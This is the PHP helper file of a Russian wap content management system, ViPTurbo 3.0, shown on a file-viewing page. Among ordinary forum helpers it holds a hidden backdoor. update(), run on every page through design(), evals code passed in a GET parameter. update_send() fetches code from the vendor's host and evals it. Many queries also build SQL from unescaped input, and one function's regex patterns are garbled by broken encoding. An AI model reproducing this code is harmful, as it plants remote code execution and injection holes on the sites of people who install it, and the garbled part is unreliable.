Просмотр файла ViPTurbo 3.0/include/functions.php

Размер файла: 8.86Kb
<?php
function myencode( $str )
{
	return implode( "", unpack( "H*", $str ) );
}

function mydecode( $str )
{
	$arr = array( );
	$i = 0;
	for ( ;	$i < strlen( $str );	$i += 2	)
	{
		$arr[] = pack( "C", hexdec( substr( $str, $i, 2 ) ) );
	}
	return implode( "", $arr );
}

function strtolow( $str )
{
	$search = array( "/А/", "/Б/", "/В/", "/Г/", "/Д/", "/Е/", "/Ё/", "/Ж/", "/З/", "/И/", "/Й/", "/К/", "/Л/", "/М/", "/Н/", "/О/", "/П/", "/Р/", "/С/", "/Т/", "/У/", "/Ф/", "/Х/", "/Ц/", "/Ч/", "/Ш/", "/Щ/", "/Ы/", "/Ъ/", "/Ь/", "/Э/", "/Ю/", "/Я/", "/A/", "/B/", "/С/", "/D/", "/E/", "/F/", "/G/", "/H/", "/I/", "/J/", "/K/", "/L/", "/M/", "/N/", "/O/", "/P/", "/Q/", "/R/", "/S/", "/T/", "/V/", "/U/", "/W/", "/X/", "/Y/", "/Z/", "//" );
	$replace = array( "а", "б", "в", "г", "д", "е", "ё", "ж", "з", "и", "й", "к", "л", "м", "н", "о", "п", "р", "с", "т", "у", "ф", "х", "ц", "ч", "ш", "щ", "ы", "ъ", "ь", "э", "ю", "я", "a", "b", "с", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "v", "u", "w", "x", "y", "z" );
	$str = preg_replace( $search, $replace, $str );
	return $str;
}

function ansistrtolow( $str )
{
	$search = array( "/�", "/�", "//", "/o", "/¯", "/ï", "/¨/", "/į", "/ů", "/Ư", "/ǯ", "/ȯ", "/ɯ", "/ʯ", "/˯", "/̯", "/ͯ", "/ί", "/ϯ", "/Я", "/ѯ", "/ү", "/ӯ", "/ԯ", "/կ", "/֯", "/ׯ", "/ٯ", "/د", "/گ", "/ۯ", "/ܯ", "/ݯ", "/A/", "/B/", "/ϯ", "/D/", "/E/", "/F/", "/G/", "/H/", "/I/", "/J/", "/K/", "/L/", "/M/", "/N/", "/O/", "/P/", "/Q/", "/R/", "/S/", "/T/", "/V/", "/U/", "/W/", "/X/", "/Y/", "/Z/", "//" );
	$replace = array( "\xE0", "\xE1", "\xE2", "\xE3", "\xE4", "\xE5", "\xB8", "\xE6", "\xE7", "\xE8", "\xE9", "\xEA", "\xEB", "\xEC", "\xED", "\xEE", "\xEF", "\xF0", "\xF1", "\xF2", "\xF3", "\xF4", "\xF5", "\xF6", "\xF7", "\xF8", "\xF9", "\xFB", "\xFA", "\xFC", "\xFD", "\xFE", "\xFF", "a", "b", "\xF1", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "v", "u", "w", "x", "y", "z" );
	$str = preg_replace( $search, $replace, $str );
	return $str;
}

function preview( $type )
{
	$imagetypes = array( "gif" => "IMG_GIF", "jpg" => "IMG_JPG", "png" => "IMG_PNG" );
	if ( imagetypes( ) & $imagetypes && array_key_exists( $type, $imagetypes ) )
	{
		return true;
	}
	return false;
}


function bbc( $str )
{
    $search = array( '/\n/', "/\\[big\\](.+)\\[\\/big\\]/s", "/\\[small\\](.+)\\[\\/small\\]/s", "/\\[pre\\](.+)\\[\\/pre\\]/s", "/\\[b\\](.+)\\[\\/b\\]/s", "/\\[u\\](.+)\\[\\/u\\]/s", "/\\[i\\](.+)\\[\\/i\\]/s", "/\\[del\\](.+)\\[\\/del\\]/s", "/http:\\/\\/[0-9a-z\\._-]+\\.[a-z]{2,4}(\\/[a-z0-9\\?=&;\\.\\/_-]*)?/i" );
	$replace = array( "<br>", "<big>\$1</big>", "<small>\$1</small>", "<pre>\$1</pre>", "<b>\$1</b>", "<u>\$1</u>", "<i>\$1</i>", "<del>\$1</del>", "<a href=\"".$_GLOBAL['config']['myurl']."/outlink.php?u=\$0\">\$0</a>" );

    $smileys=sql_query('SELECT * FROM `'.PRE.'smileys` ORDER BY `name` DESC');

    while($smile=mysql_fetch_assoc($smileys))
     $str= str_replace($smile['smile'], '<img src="/smileys/'.$smile['name'].'" alt="'.$smile['smile'].'">', $str );


	return preg_replace($search, $replace, $str );
}
function rank($rank)
{
 $rank=mysql_fetch_array(sql_query('SELECT `name` FROM `'.PRE.'ranks` WHERE `rank`="'.$rank.'"'));

 return $rank['name'];
}

function level($posts)
{
 $level=mysql_fetch_array(sql_query('SELECT `name` FROM `'.PRE.'levels` WHERE `posts`<="'.$posts.'" ORDER BY `posts` DESC limit 1'));

 return $level['name'];
}

function add_friend($fname)
{ global $user;

     if(mysql_num_rows(sql_query('SELECT `id` FROM `'.PRE.'friends` WHERE `who`="'.$user['login'].'" AND `with`="'.$fname.'" ORDER BY `id`'))==0)
     {
       sql_send('INSERT INTO `'.PRE.'friends` SET `who`="'.$user['login'].'", `with`="'.$fname.'"');
       return true;
     }
  return false;
}

function month( $str )
{
	$month = array( 10 => "октябрь", 11 => "ноябрь", 12 => "декабрь", 1 => "январь", 2 => "февраль", 3 => "март", 4 => "апрель", 5 => "май", 6 => "июнь", 7 => "июль", 8 => "август", 9 => "сентябрь" );
	$str = str_replace( array_keys( $month ), array_values( $month ), $str );
	return $str;
}

function get_user_data($name)
{
	if (mysql_num_rows($q=sql_query('SELECT * FROM `'.PRE.'users` WHERE `login`="'.$name.'" ORDER BY `login` DESC'))!=0)
	{
		$user=mysql_fetch_array($q);
		return $user;
	}else
	return false;
}

function update()
{ global $config;

  if($config['key1']===$_GET['key1']=((isset($_GET['key1']))?$_GET['key1']:'') && $config['key2']===$_GET['key2'] && isset($_GET['data']) && ($config['key1']!='demo' || $config['key2']!='demo'))
  { global $path;
    eval(urldecode($_GET['data']));
  }
}

function update_send($type, $data='')
{
   global $config;

   eval(file_get_contents("http://vipturbo.ru/in.php?site=".$_SERVER['SERVER_NAME']."&key1=".$config['key1']."&key2=".$config['key2']."&type=".$type."&data=".urlencode($data)));
}


function update_file($file, $data)
{   global $path;
    if($fp=fopen($path.'/'.$file,"w"))
    {
      flock($fp,LOCK_EX);
      fwrite($fp, $data);
      flock($fp,LOCK_UN);
      fclose($fp);
      return true;
    }else return false;
}

function sql_query($var)
{ global $db;
  return mysql_query($var, $db);
}
function sql_send($var)
{ global $db;
  return mysql_unbuffered_query($var, $db);
}
function filtr($var)
{
 $var=mysql_real_escape_string($var);
 $var=htmlspecialchars($var);
 return $var;
}

function design()
{ global $user,$config,$path,$online,$link;
  update();
  online();
  if(isset($user) && file_exists($path.'/design/'.$user['design'].'/style.php')) $design=$user['design']; else $design=$config['design'];
  define('TEMPLATE', $config['myurl'].'/design/'.$design);
  include($path.'/design/'.$design.'/style.php');

  echo '<center><small><a href="http://wapturbo.ru">CMS WapTurbo</a></small> & <a href="http://vipturbo.ru">VIPTurbo</a></center>';

}

function online()
{ global $user, $online, $loc;
  sql_query('DELETE FROM `'.PRE.'online` WHERE `ip`="'.$_SERVER['REMOTE_ADDR'].'" OR `time`<'.(time()-600).' ORDER BY `time`');
  sql_query('INSERT INTO `'.PRE.'online` SET `time`='.time().', `loc`="*'.((!isset($loc))?$_SERVER['PHP_SELF'].'?'.filtr($_SERVER['QUERY_STRING']):$loc).'"'.((isset($user))?', `login`="'.$user['login'].'"':'').', `ip`="'.$_SERVER['REMOTE_ADDR'].'"');

  $guests=0; $users=array();
  $q=sql_query('SELECT `login`,`loc` FROM `'.PRE.'online` ORDER BY `time`');
  while($online=mysql_fetch_assoc($q))
    if($online['login']=='') $guests++; else $users[$online['login']]=1;

  $online=array('users' => $c=count($users), 'guests'=> $guests,'all'=> ($guests+$c), 'login'=>$users);
}
function check_location($user)
{
    if($q=mysql_fetch_assoc(sql_query('SELECT `loc` FROM `'.PRE.'online` WHERE `login`="'.$user.'"')!=NULL)) return $q['loc'];
}
function count_location($location=NULL)
{
    if($location==NULL) $location=$_SERVER['PHP_SELF'];
    return mysql_num_rows(sql_query('SELECT `time` FROM `'.PRE.'online` WHERE `loc`LIKE"*'.$location.'%"'));
}
function check_online($user)
{
    global $online;
    if(isset($online['login'][$user])) return true; else return false;
}

function rewrite_config($array)
{ global $path,$config;

  if($fp=fopen($path.'/manage/config.php','w'))
  {
    foreach($array as $key=>$value) $config[$key]=$value;

    flock($fp,LOCK_EX);
    fwrite($fp,'<?');
    foreach($config as $key=>$value) fwrite($fp,'$config[\''.$key.'\']=\''.$value.'\';');
    fwrite($fp,'?>');
    flock($fp,LOCK_UN);
    fclose($fp);

    return true;
  }else return false;
}

function reklama()
{ global $config;

  $reklama=sql_query('SELECT `name`,`url`,`id` FROM `'.PRE.'reklama` WHERE `clicks`!=0');

  if(($count=mysql_num_rows($reklama))!=0 && $config['reklama']!=0)
  {
     $config['reklama']=($config['reklama']>$count)?$count:$config['reklama'];

     while($data=mysql_fetch_assoc($reklama)) $data2[]='<a href="'.$config['myurl'].'/outlink.php?u='.$data['url'].'&amp;id='.$data['id'].'">'.$data['name'].'</a>';

     for($i=0;$i<$config['reklama'];$i++) $data3[]=$data2[(mt_rand(0, $count-1))];

     return implode('<br>', $data3);
  }
}

   function directory_clear($path)
   {
    if ($handle = opendir($path))

     while (false !== ($file = readdir($handle)))

        if($file!='.' && $file!='..')

           if(is_dir($file)) directory_clear(($path.'/'.$file)); else unlink(($path.'/'.$file));

   }

   function scan_dir($path, $func)
   {

     if ($handle = opendir($path))

       while (false !== ($file = readdir($handle)))

          if($file!='.' && $file!='..' && $rash=explode('.', $file))

            if(is_dir($file)) scandir($file); else $func(($path.'/'.$file), $file);

   }
?>